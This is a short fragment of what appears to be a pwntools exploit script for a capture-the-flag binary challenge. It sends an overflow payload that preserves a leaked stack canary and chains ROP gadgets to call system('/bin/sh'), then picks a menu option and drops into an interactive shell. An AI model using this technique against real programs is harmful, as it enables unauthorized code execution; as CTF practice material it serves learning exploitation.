p.send(b'c'*(0x90-8)+canary+p64(0x00400a30)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(main))
p.sendlineafter(b'>> ', b'3')
p.interactive()